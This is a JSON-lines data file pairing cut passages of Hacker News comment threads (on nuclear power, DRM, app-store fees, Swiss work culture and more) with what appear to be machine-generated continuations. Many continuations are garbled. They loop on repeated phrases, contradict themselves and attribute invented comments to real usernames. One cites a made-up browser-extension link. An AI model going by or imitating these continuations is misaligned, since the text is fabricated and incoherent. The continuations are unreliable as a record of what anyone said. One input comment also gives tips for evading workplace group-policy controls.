trying to be a bit more precise than\n\"33% of pilots improved\".\n\n------\njoshu\nI wonder if this is related to the \"neural correlates of consciousness\"\nresearch.\n\n------\njoshu\nI wonder if this is related to the \"neural correlates of consciousness", "input_text": "\n\n------\nJorgeGT\nOn a side note, I'm totally stealing the trick of making MATLAB colorbar axis\nwhite as in Fig. 2\n[http://www.frontiersin.org/files/Articles/175655/fnhum-10-00...](http://www.frontiersin.org/files/Articles/175655/fnhum-10-00034-HTML/image_m/fnhum-10-00034-g002.jpg)\n\n------\nbitwize\n\"I know kung fu.\"\n\n\"Show me.\"\n\n~~~\nkelvin0\nYup, that one crossed my mind as I was reading the article. Looks like we're\nstill a ways off this though.\n\n------\nlifeisstillgood\nThat is without a doubt the freakiest thing I have read this week.\n\n(Tl:dr - they recorded trans-cranial currents in motor and working memory\nareas of experts landing a plane and replayed that or a control into novice\npilots heads. The novices perfeomed 33% better.)\n\n~~~\ncpncrunch\nWhere does it say they performed 33% better? The only mention of 33% is:\n\n\"the reduced variance reached statistical significance in >33% of individual\nN-back trials comparing DLPFC stim with DLPFC sham\"\n\nwhich means something completely different. I think this study might be\nterribly overblown.\n\n~~~\nadwf\nAboslutely. I'll admit to not having read the actual study, but saying that\n33% of pilots improved is fairly meaningless. You could also say that 67% of\npilots _didn 't_ improve.\n\nIt might even be the case that those 67%"} +{"output_text": "ining about stolen ideas.\n\n~~~\namaccuish\nI'm not sure what you mean. I'm not saying the idea is original, but the\nimplementation is.\n\n------\njedberg\nI don't understand why this is a big deal.\n\nIf you're worried about someone stealing your idea, then don't publish it.\n\nIf you're worried about someone stealing your idea and then using it to make\nmoney, then don't publish it.\n", "input_text": " site for this is:\n\n[https://gpsearch.azurewebsites.net](https://gpsearch.azurewebsites.net)\n\nSome settings are set in the local security policy file, rather than in the\nregistry. From memory, if you have local admin rights you have to specifically\ngrant your user account full control to the adm files, then you can use the\nlocal security policy MMC snap in to change settings.\n\nOnce you change things, they will periodically be set back, which is annoying,\nbut the tip near the end of the article might work to stop that.\n\nAnother tip is to install a dual boot version of Windows on an encrypted\npartition, and use that instead of the \"official\" install. Of course, this\nonly works if you don't need frequent access to resources on the domain.\n\n------\nSpivak\nThis is actually one of those features that GNOME gets right with dconf\nlockdown. You can, on a per setting basis, decide whether users are allowed to\noverride each setting.\n\n------\namaccuish\nAgree with others, yawn. Unplug your computer during login to interrupt the\nprofile load and be assigned a temporary profile (unless disabled) and you'll\nsee no user policies applied.\n\n \nMIT Fellow Says Facebook \u2018Lifted\u2019 His Ideas for Libra Cryptocurrency - espeed\nhttps://www.coindesk.com/mit-fellow-accuses-facebook-of-lifting-his-ideas-for-libra-cryptocurrency\n======\npaulsutter\nOh come on, neither a basket of commodities nor a basket of currencies are\noriginal ideas. During the security token craze of 2017/2018 many similar\nideas were proposed and we don\u2019t see those folks wh"} +{"output_text": " being the future, is still a\nterrible idea.\n\n~~~\nmoonchrome\nI'm not sure if this is a good idea or not, but I've been using the\n[https://github.com/moonchrome/flash-\nblocker](https://github.com/moonchrome/flash-blocker) extension for a while now.\nIt's a little bit of a pain to install, but it works great.\n\n------\nj", "input_text": "\nHere's a question: \"Why would a System Administrator take the time to install\nFirefox on all the company machines?\"\n\n~~~\nnobleach\nA system administrator is going to most likely be using some sort of push tool\nor have Firefox in the default image - if they care enough to use it at all.\nIn all my years of doing Network/Sysadmin (1999 - 2010), Microsoft always told\nus their browser was the best and easiest to configure with system policies...\nso the higher ups just bought it, hook, line and sinker. Never mind that\nMicrosoft had never PROVEN that claim.\n\n~~~\nprotomyth\nor deploy a package with some 3rd party... but it still takes effort, what are\nthe reasons for spending it?\n\n------\nmrspeaker\nI recently switched back to Firefox as my primary browser because it's the\ncompany I distrust least. Turns out it's as exactly the same as Chrome now\nanyway - I keep forgetting which browser I'm using.\n\nThe reason I switched back was because Google's updater ping (according to\nLil' Snitch) is very aggressive (several times a day) and also a long time ago\nI vowed to switch to the browser that first implemented ES6's arrow function\nsyntax ;)\n\n------\nkenrick95\nWhen someone asked me why I use Firefox, I always pointed out this feature\n(Tab Groups) which is very good but not publicized widely by Mozilla.\n\n[https://support.mozilla.org/en-US/kb/tab-groups-organize-\ntab...](https://support.mozilla.org/en-US/kb/tab-groups-organize-tabs)\n\n------\nmoonchrome\nChrome bundles flash - which, despite HTML5"} +{"output_text": " fix it.\n\nI have been a nuclear engineer for many years, and I have been a strong\nsupporter of nuclear power for many years. I have also been a strong supporter\nof renewable energy for many years.\n\nI have been a strong supporter of nuclear power for many years, but I have\nalso been a strong supporter of renewable energy for many years.\n\nI have been a strong supporter of nuclear power for many years, but I have\nalso been a strong", "input_text": " - I think the nuclear thing\nis a distraction from them, and kept alive by a very active lobby.\n\nI am happy to change my opinion if you come up with a new process that's\nactually fail-safe, that's actually guaranteed to not leak radiation, and that\ndoesn't produce nuclear waste.\n\n~~~\njbri\nWhat alternatives can you offer?\n\nSolar and wind energy are not reliable enough to provide base-load coverage,\nhydro power is restricted to very specific terrain and has a devastating\neffect on local ecology, and really the only other option is fossil fuels.\n\nAt this point, the options literally are nuclear, or fossil fuels. And burning\nmore and more coal for power (which puts out more radiation and kills more\npeople than a nuclear plant, FYI) because anything less than perfection is not\nsuitable just seems like a really, _really_ shortsighted idea.\n\nAn alternative energy source does not need to be perfect to be worth switching\nto. It just needs to be better than the status quo. And nuclear power,\ncurrently, is _very much_ better than coal.\n\n~~~\ncperciva\n_hydro power is restricted to very specific terrain and has a devastating\neffect on local ecology..._\n\n... and isn't any safer than nuclear power. Four people died when the Japan\nearthquake caused a dam to fail -- that's more deaths than the Fukushima NPP\nhas caused, but oddly enough nobody is calling for a worldwide halt to dam\nconstruction.\n\n \nEmacs Lisp's Future - rutenspitz\nhttps://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00434.html\n======\nmark_l_watson\nIf it isn't broken, don't try to"} +{"output_text": " him working on it and asked him to\njoin him. Woz said he was busy. Jobs said he would pay him $500 a week to\nwork on the Apple II. Woz said he would think about it.\n\nJobs called Woz again and said he would pay him $1000 a week to work on the\nApple II. Woz said he would think about it.\n\nJobs called Woz again and said he would pay him $2000 a week to", "input_text": " no hard and fast rule about which skills anyone will have.\n\n* Technical people might be good at sales.\n\n* \"Non-technical\" people might not be good at sales.\n\n* \"Knowing what to build\" and \"able to sell\" are skills which may or may not be found in the same person.\n\n* Knowing what to build might be a skill of any of your founders have, depending on their experience in the market.\n\nThere's probably a few more. I suppose this is the trouble with trying to\nwrite concise generally true comments, you forget to cover all the edge cases.\n\n~~~\nanamax\n> \"Knowing what to build\" is fine for technical people who are building a\n> simple web based tool which they'll use themselves. However, this doesn't\n> generalise to building software for complex industries.\n\nWho said anything about software?\n\n> As an example, a few years ago I was advising a company who wanted to\n> automate the calculation of tax. You would have thought that this was easy,\n\nNo, I wouldn't, because I know a little about taxes. A technical tax person\nwould know even more and understand a lot of the complexity.\n\n> but in fact it's the most complex thing ever and you need that non-technical\n> specialist domain knowledge.\n\nWhy do you persist in saying that domain knowledge is necessarily non-\ntechnical and that technical people can't have it?\n\nBoth are wrong.\n\n------\nfhe\nIf you were a non-technical founder like Steve Jobs, well, perhaps. I am\nreading the book \"iCon Steve Jobs\". And here's a recount of the very early\ndays of Apple according to the book:\n\nWoz was working on the Apple II. Jobs saw"} +{"output_text": "\nPortuguese or not).\n\n~~~\ncperciva\n_What I don 't get is why some hospitals (seems American hospitals don't do it\nthis badly) won't let you sleep when they aren't even coming to check on you._\n\nI think it's because they're afraid of lawsuits.\n\n~~~\nmicrocolonel\nI don't think that's the reason. I think it's because they're afraid of\npatients dying.\n\n------", "input_text": " to be\naddressed, but they always seem to miss a reasonable call to action. In this\ncase it mentions what the author did (refuse to let her sleep be interrupted\nand make a verbal agreement with those tending.)\n\nBut if that doesn't work? For instance, what do I do about the new nurse that\ndoesn't want to upset the dr and insists on doing the 4am blood draw?\n\nWith hard facts about WHY the nurse doesn't need that 4am draw I could\nformulate an argument to convince the nurse to let me sleep instead. But\noutright refusing to let the nurse do their duties just feels... obnoxious.\n\n------\nanon2775\nWhen I was at the Stanford cardiac unit last, they let me sleep. That wasn't\nthe problem but they had a problem giving me privacy: door wide open, curtain\nwide open.\n\n~~~\ncperciva\nPatients with privacy are patients who end up dying. Hospital floor plans are\ndesigned to ensure that nurses can see if patients take a turn for the worse.\n\n------\nmicrocolonel\nI understand if clinical staff are actually coming to check on you. In many\ncases you may need to be checked on every few hours to prevent some decline in\ncondition from going unnoticed. What I don't get is why some hospitals (seems\nAmerican hospitals don't do it this badly) won't let you sleep when they\naren't even coming to check on you.\n\nLast Halloween in Toronto I got a (spooky) appendectomy, and although they\nwere not coming to check on me, I could not sleep because I was in a loud room\n(the patient beside me had his whole immediate family watching over him, and\nmy mind was awake, trying to decide whether they were speaking Brazillian"} +{"output_text": " doesn't make it a PR move.\n\n~~~\njonplackett\nIt's a PR move because it's a PR move.\n\n------\njandrese\nI'm not sure how this is going to play out. I think the judge is going to\ndecide that Apple's actions were not anticompetitive.\n\nThe problem is that Apple is a monopoly. They have a monopoly on the market\nfor mobile apps. They have a monopoly on the market", "input_text": " the \"good guy\" and taking an opportunity to paint their\ncompetitor in a bad light. It really betrays just how important that 30% fee\nmust be to them. The plot just keeps thickening.\n\n------\ntony\nIf anyone likes to follow app store case law, Oyez has the verbal arguments\nfor Apple v Pepper that follow with text captions:\n[https://www.oyez.org/cases/2018/17-204](https://www.oyez.org/cases/2018/17-204)\n\n[1]\n[https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper](https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper)\n\n------\njandrese\nAs I see it this improves their chances of winning the suit. By having Google\nact in the same manner they have a stronger case that the market is a duopoly\nthat restricts customer's freedom.\n\nRemember that courts tend to be very lenient towards business practices, so it\ntakes egregious behavior to convince them to step in. This bolster's Epic's\nposition.\n\n------\njonplackett\nThis is a PR move. They would have known they\u2019d get kicked off for adding\ntheir own payment system.\n\nThey didn't make this in the time it took Apple to reject it. It's all pre-\nplanned\n\n[https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_...](https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_end)\n\n~~~\nMereInterest\nSo? That something is predictable"} +{"output_text": "\nwant to get from point A to point B, you need to have a vehicle. If you want\nto get from point A to point B, you need to have a vehicle that can carry\npeople. If you want to get from point A to point B, you need to have a vehicle\nthat can carry people and can carry people and can carry people and can carry\npeople and can carry people and can carry people and can carry people and can\ncarry people and can carry", "input_text": " space, you begin to feel that we're living in\nlittle islands surrounded by fast-moving rivers of lethal steel--lethal steel\nthat results in toxic gas and water runoff that sickens the remaining\npopulation that isn't directly killed at a rate of tens-of-thousands per year.\n\nGosh I hope we can figure this out in my lifetime.\n\n~~~\nars\nTravel is the driver of all human progress and development.\n\nWhat, you think the amount of roads we have now is a lot? We've always had\nroads, they were for carts, or horses, or anything else. There is nothing\nspecial about cars here.\n\n> Gosh I hope we can figure this out in my lifetime.\n\nWe did. We made travel cheap and easy and it has benefited us massively.\n\n~~~\nmakeitsuckless\nWe didn't have roads 4 lanes wide (which is a huge amount of additional land\nlost), and we didn't have the insane amount of parking space.\n\nEven a not particularly car friendly city like Amsterdam would look\ndramatically different if you removed the parking space, because it would free\nup such an insane amount of space.\n\nCars have multiplied the amount of space dedicated to transport, without\nactually adding much to human progress and development, what with most of it\nbeing used to carry individuals short distances from A to B and back again.\n\nI don't see the massive benefit here. It's a pointless habit we shaped a\nlife/work culture around with a mostly negative impact on the quality of life.\n\n~~~\nclassicsnoot\n>without adding much to human progress and development\n\nI am opposed to vehicles being the priority, but their prevalence is directly\nrelated to their usefulness within the economic regions they occur in. If you"} +{"output_text": " course.\n\n~~~\najju\nI agree with you. I am not sure if the app store is the best place to\nimplement this feature. I am thinking of implementing it in a web based\nservice.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI can't imagine that the 30% cut is going to be a big deal.\n\n~~~\npieter\nI think it's a good idea to have", "input_text": "'t have bluetooth before this update right? Which means\nit was enabled entirely through a software update. Is that right? I know it\noperates on the same frequency as wifi but still, that's pretty impressive,\nisn't it?\n\n~~~\nallenbrunson\nthe iphone had bluetooth before this update, but it was very limited in scope.\n\n------\najju\nHow good the micropayments feature is depends on what their cut on it is. 30%\noff of 10 cents hurts a lot more than 30% off of $10.00\n\n~~~\ncubicle67\num... in what way does it hurt more?\n\n~~~\najju\nThat was a stupid comment made in haste that makes no sense as written. Paying\napple 30% of repeated micropayments _would_ hurt me more than the alternative,\nbut it's only true in my context - which is probably not the context Apple\ndesigned their system for.\n\nI am building a web based service which can also be accessed via an iPhone\napp. I get paid via micropayments which I aggregate till they reach a certain\ndollar amount and then process via a payment processor that charges me in\nsingle digit percentages. I have the option of using iPhone's own micropayment\nservice but that would hurt me more.\n\n~~~\npieter\nThe advantage of using the app store micropayments is that users don't have to\ncreate a new account somewhere and put their account info in your app. They\ncan use an existing system and have a one-click buy option.\n\nIt'd be interesting to see what will result in more profits. My guess would be\nthat the increased sales on the iPhone outweigh the higher profit margin with\nthe alternatives. This depends on your costs too of"} +{"output_text": "mind)\n\n~~~\njessaustin\nI'm not sure I'd call Haidt a \"conservative\" in the sense that he's\n\"conservative\" in the sense that he's a Republican. He's a libertarian, and\nhis politics are pretty much the same as those of the Libertarian Party.\n\n~~~\nrichard_mcp\nI'm not sure I'd call him a \"libertarian\" either. He's a classical liberal,", "input_text": " public donation that support a\ngroup and leads to potential blowback against the company. It's bad either\nway. Mozilla had a no win situation here. They got bad PR from both sides.\n\n~~~\nElComradio\nForget about whether it has blowback against the company- It's totally legal\nAFAIK to fire someone for their \"off the clock\" speech for any or no reason at\nall.\n\nIn reality, though, I think a jury would be very skeptical of a company's\nclaims that someone was fired for promoting the gay agenda (which would be\nlegal) and not for being a gay person.\n\n------\nrichard_mcp\nI was originally going to lump this article in with other \"men's rights\nmovement\" stuff until I saw the author was Jonathan Haidt. I had the honor to\ntake Psyc 101 with Prof. Haidt years ago at the University of Virginia. He was\na wonderful teacher who expected the best out of his students. He struck me as\na very intelligent man who had put a lot of thought into both what he taught\nas well as his opinions. When he bring up his own beliefs in class he was very\nopen to letting others voice dissenting opinions. More importantly, he always\nseemed willing to consider alternative views.\n\nI know this is all anecdotal, but I put a lot of trust in his opinions and pay\nattention when he says something.\n\nUnrelated, but he gave a great Ted talk in 2008 about the difference between\nliberals and conservatives:\n[https://www.ted.com/talks/jonathan_haidt_on_the_moral_mind](https://www.ted.com/talks/jonathan_haidt_on_the_moral_"} +{"output_text": "\n~~~\njkaptur\nI'm not sure what you mean by \"EU (more or less) has rules that the countries\nare primarily responsible for execution of the law and it makes sense that if\na local shop causes privacy issues they should be handled by a local\nauthority.\"\n\nThe GDPR is a European law, and the GDPR is enforced by the European Data\nProtection Supervisor.\n\n~~~\njohannes1234321\nI'm not", "input_text": "/press-releases/dpc-\npublishes-annual-report-25-may-31-december-2018)\n\n~~~\ntpmx\nThis stuff should be handled at a union level. Seems like low-hanging fruit to\nme.\n\nAs in: I don't think many EU citizens would object to having this being taken\nfrom the national level to the union level.\n\nCreate a single, strong EU data protection authority, placed somewhere in the\nunion, after the typical competition. I'd suggest Sweden, but would also be\nhappy with Denmark, Germany or the Netherlands.\n\n~~~\njkaptur\nI don\u2019t know much about the EU - why is the physical location of the office\nimportant?\n\n~~~\njohannes1234321\nWhich office? Facebook's or the data protection agency's?\n\nEU (more or less) has rules that the countries are primarily responsible for\nexecution of the law and it makes sense that if a local shop causes privacy\nissues they should be handled by a local authority.\n\nNow companies like Facebook play the system a bit. As first line of defense\nthey claim that their European offices are just resellers of ads etc. and the\nactual operations are done by Corp U.S. (or Corp Bahamas or something) and for\na second line of defense pick the country with the \"best\" enforcement and\ntaxation track record. That can be done as in order for not each country\ntrying to go after their local subsidiary the country with the European\nheadquarters can go after that HQ for all larger cases.\n\nNow the Irish government is smart - they see that 1% taxes on all of European\nbusiness of Corp is better than 40% of only Irish business, thus they don't\nemploy overly strict oversight.\n"} +{"output_text": " the charges they are pretty serious.\n\n------\njrockway\nI don't know if this is a good thing or a bad thing.\n\nOn the one hand, it's good that they are being held accountable for their\nactions. On the other hand, it's bad that they are being held accountable for\ntheir actions.\n\n~~~\njacquesm\nIt's a good thing that they are being held accountable for their actions.\n\n------\njacquesm", "input_text": " that they are not attempting to\nsweep this under the rug. There are a lot of companies where people have\naccess to a lot of sensitive data. All you can do is screen the employees,\nlimit their access where possible and audit their use of the security.\n\nBut then someone needs to audit the auditors. Just before I started here we\nused to have an employee who would look in the Oracle database used by Lawson\nto check payroll data. Nobody knew for a long time since he was the UNIX admin\nand DBA.\n\n~~~\njacquesm\nI don't know where 'here' is but you might want to edit that comment.\n\n------\njs2\nI'm not a big fan of Gawker, but why not link to the original story instead of\nthe meta-story?\n\n\n\n~~~\nepi0Bauqu\nBecause HN auto-banned it: \n\n~~~\nAnechoic\nThat link just goes to a empty HN page\n\n~~~\nepi0Bauqu\nTurn on showdead.\n\n------\nnkassis\nI think google manned up well on this one. They will always have this problem.\nAt least it seems they have less (that we know off) incidents than the\ngovernment does. It's pretty incredible how many stories of government\nemployees snooping (even selling it to organize crime) information stored in\ntheir databases.\n\n~~~\njacquesm\nThat was my first take as well, but after reading up a bit on it it seems that\nthey tried to make it go away by not charging him, when if you look at the\nseverity of"} +{"output_text": " that is tied to the stock of tokens).\n\n~~~\njstanley\n> This means token hoarding causes a future drop in things available to buy\n> with these tokens.\n\nThis is not true.\n\nIf you hoard tokens, you are not hoarding them. You are just not spending them\non things.\n\nIf you spend them on things, you are not hoarding them. You are just not\nhoarding them.\n\nIf you spend", "input_text": " limits of production. As people\nhoard worthless tokens, their price increases which causes more people to\nhoard them instead of investing in real businesses with real production\ncapacity.\n\nThis eventually causes production capacity to drop. That's right, when enough\npeople do it, token hoarding displaces investment in businesses and factories\nand lowers global production capacity. This means token hoarding causes a\nfuture drop in things available to buy with these tokens.\n\nEventually there will be people who want to buy real things with their stock\nof tokens. The tokens will be chasing fewer goods which means prices for stuff\nwill rise (tokens will lose value). This might happen suddenly when people\nwith large stockpiles of tokens notice that value is dropping and that there\nare tons of other tokens waiting on the sideline to make it drop even further.\nHoarders might rush to get rid of their stockpile all at the same time before\nthey're worthless which will cause their fall to worthlessness. This drop will\nbring the tokens closer to their natural intrinsic value of zero. The cycle\ncan then start again, such is aggregate economics.\n\nThe 1920s and 1930s suffered from this type of production drop but with gold\ntied currencies instead of cryptocoins. It happened to a lesser extent in 2007\nwhen western world central banks failed to keep inflation rates high enough.\n\nIt's important for the world's sake to not let deflationary currencies become\ntoo popular. When savings or financial promises are insufficiently tied to\nfuture production or to accumulation of real goods, there will be\ndisappointment when many people try to exchange them for real stuff. That is\ntrue for crypto currencies as well as government currencies (that is why the\nsystem is designed to make banks invest people's money in real businesses and\nminimize the proportion of money"} +{"output_text": " I was in high school.\n\nI've been working on a project for a while now, and I'm looking for some\nadvice on how to learn Ruby and MooTools. I've been reading the Ruby\ndocumentation, but I'm not sure if I'm going in the right direction.\n\nI'm looking for a book or a tutorial that will teach me how to build a\nwebsite, and I'm not sure if I should be learning Ruby or MooTools.", "input_text": " the\nfuture? I mean, it ain't no AWS backed by Amazon that has quite the track\nrecord.\n\n~~~\nhenrikschroder\nRemember that the alternative is no business at all.\n\nWe have a similar product where we provide a backend for game developers, and\nthere are quite a few of them making quite a lot of money on it. But without\nus, those single developers or small teams simply wouldn't be able to pull off\nthe games that they do, because they don't have the knowledge or resources to\nmake the backend systems we offer.\n\nIf you can afford to make your own backend systems, you're not the target for\nParse, or us.\n\n(Oh, and it's not like AWS has a 100% stellar track record either. :-) )\n\n------\ncatshirt\nisn't _heroku_ \"heroku for mobile\"?\n\n~~~\nthibaut_barrere\nAfter signing up for the beta it's clearly targeted to mobile apps developers\nwho don't want to create their back-end.\n\nIt provides a good bunch of interesting features and skeleton of apps for\nAndroid and iOS.\n\n------\nmark_l_watson\nGreat idea - no wonder they got good funding!\n\nThey support data store functions, push notifications with some nice options,\nuser management, and user auth and security.\n\n------\nsuhail\nGood luck guys.\n\n~~~\ntikhon\nthanks suhail! :)\n\n------\nbenologist\nCongrats guys!\n\n \n\nAsk HN: Learning Ruby + MooTools - sscheper\n\nCompared to most people here, I'm a n00b when it comes to programming. I've had a computer since I was five, but I never really got into computing languages until"} +{"output_text": "~~~\njacquesm\nIt's a bit like the modular phone, but it's not a phone. It's a drone.\n\n~~~\nmajewsky\nAh, I see. I thought it was a drone that can be used as a phone.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this. It's a phone, not a computer.\n\n~~~\nmatt_wulfeck\nI", "input_text": " if the\nbattery alone dies out. One can't get more anti-modular than that, and the\nNexus 5X has the same deal:\n[https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be...](https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be&t=74)\n\n~~~\nvoltagex_\nI know what you're saying about the 5X, but it's not _impossible_ to replace.\n\n>The battery isn't immediately user accessible but isn't too challenging, or\ntoo adhered, to replace.\n\n[https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112...](https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112139)\n\n~~~\nbmer\nDoes it void your warranty though?\n\n------\neva1984\nI am not surprised either. It is more of a gimmicky idea, than a revolutionary\nmoonshot one. It is somehow hard to picture where is the market and how to\nconvince customers to buy it.\n\n------\njacquesm\nFinally. The first modular phone prototype I saw in Logitech HQ in 1999 or so\nwas shelved for the exact same reasons.\n\nI'm expecting a similar announcement about project Makani.\n\n~~~\nmajewsky\nI just heard about Makani for the first time, and after a quick glance at\ntheir website, it doesn't look absurd. Can you elaborate what is problematic\nabout it?\n\n"} +{"output_text": " I was sitting in my room, reading, when I\nheard a knock at the door. I opened it to find Paul standing there. He was\nwearing a white shirt and a black tie. He was carrying a bottle of wine.\n\n\"I'm going to give you a little party,\" he said. \"I'm going to invite you to\ncome over and drink wine with me.\"\n\n\"I don't drink wine,\" I said.\n\n\"I know,\"", "input_text": " a novel or kill myself trying. By that time I had blown\nup a marriage to a girl I loved with all my heart, screwed up two careers,\nblah blah, etc., all because (though I had no understanding of this at the\ntime) I could not handle Resistance. I had one novel nine-tenths of the way\nthrough and another at ninety-nine hundredths before I threw them in the\ntrash. I couldn't finish 'em. I didn't have the guts. In yielding thusly to\nResistance, I fell prey to every vice, evil, distraction, you-name-it\nmentioned heretofore, all leading nowhere, and finally washed up in this\nsleepy California town, with my Chevy van, my cat Mo, and my antique Smith-\nCorona.\n\nA guy named Paul Rink lived down the street. Look him up, he's in Henry\nMiller's Big Sur and the Oranges of Hieronymus Bosch. Paul was a writer. He\nlived in his camper, \"Moby Dick.\" I started each day over coffee with Paul. He\nturned me on to all kinds of authors I had never heard of, lectured me on\nself-discipline, dedication, the evils of the marketplace. But best of all, he\nshared with me his prayer, the Invocation of the Muse from Homer's Odyssey,\nthe T. E. Lawrence translation. Paul typed it out for me on his even-more-\nancient-than-mine manual Remington. I still have it. It's yellow and parched\nas dust; the merest puff would blow it to powder.\n\nIn my little house I had no TV. I never read a newspaper or went to a m o v i\ne. I just worked. One afternoon"} +{"output_text": ">The researchers found that the radiation from the reactor was absorbed by\nthe water, which then became radioactive.\n\nI am not sure if this is a good thing or not.\n\n~~~\njcl\nIt's not a good thing, but it's not a bad thing either.\n\nThe water is radioactive, but it's not radioactive enough to be dangerous.\n\n~~~\nVladRussian\n>The water is radioactive, but it's not radioactive enough to be dangerous", "input_text": " constantly going through your body. Not to mention\nintentional exposures like chest X-rays.\n\nIt's sort of like fire, then. You can burn yourself and you should treat it\ncarefully. You should fear it enough to avoid burning yourself, but not much\nmore than that. It's also going to become just about as necessary to\ncivilization as fire, soon, from the look of things.\n\nMaybe fusion will pan out and I hope so, but people are then going to have to\nlearn all about neutrons and why they can make normal materials become\nradioactive.... But maybe clever moderator designs will make it so that most\nneutrons are absorbed by easily replaceable things that don't become anything\nnasty.\n\n~~~\nTichy\nRadiation is normal, and so is water. I drink water every day with no ill side\neffects, yet it killed thousands of people in a Tsunami.\n\nHow long does supply of nuclear fuels last anyway? Isn't it a limited\nresource? Will it be as necessary to civilization as SUVs?\n\nFrom the article it seems clear that inhaling or digesting contaminated stuff\nis dangerous.\n\n~~~\nNatsu\nA lot longer than any of our other energy sources, except maybe the sun, so\nfusion is a good thing to be able to manage, because hydrogen is so abundant.\n\nHowever, entropy will ultimately kill the universe. Once the entire universe\nruns out of available energy (which it can manage without any human help),\nthen we're screwed barring radical new physics that can give us answers like\n\"this is how you create another universe and then travel there.\"\n\nThe good news is that it will take a looooooong time before anybody seriously\nhas to worry about that.\n\n------\nVladRussian\n"} +{"output_text": "-up-for-\nour-users-and-pr...](https://blog.cloudflare.com/standing-up-for-our-users-\nand-proprietary-technology/)\n\n------\njoshstrange\nI'm not sure I understand the point of this. If you're a small company and\nyou're infringing on a patent, you're going to be sued. If you're a big\ncompany and you're infringing on a patent", "input_text": "icgiga\nThe root cause of this is the \"American rule\" of costs. It's no where near as\nviable to troll when you have to pay their costs when you lose (especially\ngiven that frequently the plaintiffs are lawyers themselves, so aren't\nactually spending any legal fees to troll).\n\nThe case portrayed in the TV show \"Silicon Valley\" was illustrative: \"best\njust to settle because it'll cost us less\", because the mere act of suing\nitself financially damages the victim, often severely, given lawyers' typical\nrates.\n\nBut not so under the \"English rule\": it costs you nothing if they lose.\n\n~~~\npbhjpbhj\nI can't understand for the life of me why USA don't make awards of costs to\nsuccessful defendants, is there a logic to it that I'm missing?\n\n~~~\npatentatt\nThe benefit is that it lowers barriers to entry to the legal system.\n\n~~~\nepicgiga\nThat's not a benefit. \"Entering the legal system\" is just as often someone\nsuing you (including BS reasons like in the OP) as it is suing someone else,\nand if you can't \"enter the legal system\" because you know you'll lose and\nhave to pay for it, that's a good thing.\n\n------\nkeanzu\n\"We are going to litigate every single patent suit to the fullest extent\npossible including appealing any adverse decisions all the way to the Supreme\nCourt.\"\n\n~~~\nlolc\nThey write this to scare off trolls looking for marks. They would not do this\nin clear-cut cases.\n\n------\nmwerty\nRelated (and covered on hn before): [https://blog.cloudflare.com/standing"} +{"output_text": "", "input_text": " and _really_ mean it for\nall people of the world. We need to make it impossible for anyone to make the\nargument _\" but what if I don't have internet access?\"._\n\n~~~\nshmerl\n_> I think DRM is fine as long as I can access my media anytime & anywhere on\nall my devices._\n\nI think DRM is never OK. Not only because of privacy and ethical issues, but\nbecause if you can't fully control the content and the service which issues\nDRM closes down you would simply lose everything you paid for. It should be a\ndeal breaker. Then pirating that content will be the only option to get it\nback. This Xkcd applies to video pretty much the same way as to audio for\nwhich it was made: [http://xkcd.com/488](http://xkcd.com/488)\n\n~~~\nsmtddr\nUnless we're talking about Win8-BIOS-TPM stuff(which I don't clearly\nunderstand just yet), I don't think proper(non-remote-controllable) DRM is a\nprivacy concern. I'm not sure how it's an ethical concern either. But, I do\nthink that if the DRM servers and/or media streaming servers are going offline\nand making the content disappear forever they should allow it to just be\ndownloaded without DRM for free - since turning off the servers implies\nthey're done making money off it(?).\n\n~~~\nshmerl\nWhen Netflix (or any other DRMed code) runs on your machine, it runs as a\nblack box for you. Why isn't that a privacy concern and why should it ever be\ntrusted? It's unethical because it's an overreaching preemptive policing, but\nit's a long subject.\n\n"} +{"output_text": " producing watches for the Swiss market. You can't have a Swiss watch\nfactory in the US. You can't have a Swiss watch factory in China. You can't\nhave a Swiss watch factory in India. You can't have a Swiss watch factory in\nBrazil. You can't have a Swiss watch factory in Russia. You can't have a Swiss\nwatch factory in Japan. You can't have a Swiss watch factory in Germany. You\ncan't have a Swiss watch factory in France", "input_text": " been half-completed and then\nabandoned. Trying to understand exactly how to use their APIs is extremely\nconfusing because they don't have anything definitive and basically a\nfrankenstein-like API so I've given up. I frankly wouldn't trust anything\ncoming from eBay at this point, they appear to have extremely poor developer\nsupport and no investment in making their APIs better to use.\n\n \nLiving in Switzerland ruined me for America and its lousy work culture (2016) - DiabloD3\nhttp://www.vox.com/2015/7/21/8974435/switzerland-work-life-balance\n======\nmanarth\nDeja-vu.\n[https://news.ycombinator.com/item?id=13303544](https://news.ycombinator.com/item?id=13303544)\n\n~~~\nmanarth\nAnd in 2015 (although that source article has since disappeared):\n[https://news.ycombinator.com/item?id=9987816](https://news.ycombinator.com/item?id=9987816)\n\n------\ncsomar\nIn my opinion this is missing an important thing: Does the Swiss model scale?\n\nFor example, the Singapore model can't scale. It's based on rich people and\ncorporations arbitraging the international fiscal system. You can't have\nanother Singapore without having another East Asia and West with it.\n\nSwiss is definitively a privileged place that is benefiting from the overall\nwealth of Europe and many other countries. We can't have the niceties they are\nhaving unless we have huge leaps in overall productivity around the world.\n\nEdit: To explain my point further. Let's say you have a Swiss watch factory\nthat is"} +{"output_text": "?\n\nI have a Macbook Pro and I love it. I have a Windows laptop and I love it.\n\nI have a Surface Pro and I love it.\n\nI have a Surface Book and I love it.\n\nI have a Surface Pro 4 and I love it.\n\nI have a Surface Book 2 and I love it.\n\nI have a Surface Pro 4 and I love it.\n\nI have a Surface Book 2 and I love it.", "input_text": " laptop, after all their whole thing is gouging people with\nunrealistic prices for the hardware and huge margins on everything.\n\nThat said, if a laptop rolls around that doubles the 10 hour battery life on\nexisting configurations - they'll scoop up a ton of users regardless whether\nit can run Windows or not.\n\nI don't know how doable that would be, but the iPad Pro has a 28 watt hour\nbattery, the MBP 13 has a 59 watt hour battery, a theoretical Macbook without\na discrete GPU and a smaller motherboard footprint of an A13 chip, leaving\nspace for a bigger battery and providing about the same performance could\npossibly hit 20 hours of battery in about the same space.\n\n~~~\nf6v\nHow are their prices on hardware unrealistic? Let's look at laptops: any other\nmanufacturer(razer, dell) charges comparable prices for unibody 